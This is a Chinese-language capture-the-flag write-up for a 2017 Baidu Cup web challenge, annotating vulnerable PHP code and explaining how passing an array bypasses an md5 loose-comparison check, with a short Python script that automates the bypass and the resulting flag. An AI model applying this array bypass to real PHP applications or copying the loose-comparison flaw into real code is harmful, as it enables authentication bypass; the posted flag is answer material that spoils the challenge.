“百度杯”CTF比賽 2017 二月場-爆破-3

张伟文發表於2024-04-13

“百度杯”CTF比賽 2017 二月場

爆破-3

題目型別:web

題目描述:開啟靶機,得到一段php程式碼,說明這是一道php程式碼審計型別的題:

 <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

解題方法:我們來審計一下這一段php程式碼:

<?php 
error_reporting(0); // 關閉錯誤報告,防止洩漏敏感資訊
session_start(); // 啟動會話,以便在頁面之間共享資料
require('./flag.php'); // 匯入 flag.php 檔案,可能包含了一些敏感資訊

// 如果會話中不存在 'nums' 鍵,則初始化為 0,同時記錄時間和當前使用者為 'ea'
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time(); // 記錄當前時間
  $_SESSION['whoami'] = 'ea'; // 記錄當前使用者標識
}

// 如果距離會話開始的時間超過 120 秒,則銷燬會話
if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value']; // 從使用者請求中獲取 'value' 引數
$str_rand = range('a', 'z'); // 建立包含字母 'a' 到 'z' 的陣列
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 從陣列中隨機選擇兩個字母組合成字串

// 如果使用者輸入的前兩個字元與會話中的 'whoami' 相同,並且輸入的值經過 md5 加密後的結果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 會話中記錄次數加一
  $_SESSION['whoami'] = $str_rands; // 更新當前使用者標識
  echo $str_rands; // 輸出隨機字串
}

// 如果會話中記錄的次數大於等於 10,則輸出 flag
if($_SESSION['nums']>=10){
  echo $flag; // 輸出 flag.php 中定義的 flag
}

show_source(__FILE__); // 顯示當前 PHP 檔案的原始碼
?>

關鍵是在於這裡:

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 會話中記錄次數加一
  $_SESSION['whoami'] = $str_rands; // 更新當前使用者標識
  echo $str_rands; // 輸出隨機字串

這裡要MD5加密後的值為0,可以用陣列來進行繞過,MD5對陣列不能處理,這裡我們用陣列來傳入當前的使用者標識 ?value[]=ea

這是nums就會加一,whoami就會隨機產生一個新的字元在最上邊,每次傳入隨機產生的字元,nums就會增加一次,當nums==10的時候就會輸出flag,這裡可以手動每次輸入並傳入隨機產生的字元,連續10就可以,它的回話時間限制有120秒,夠進行手動輸入

也可以編寫python指令碼:

import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
    html = session.get(url+'?value[]='+html[:2]).text
print(html)

得到flag:

flag{16604491-e2d1-4842-a21d-8dd961695290}

相關文章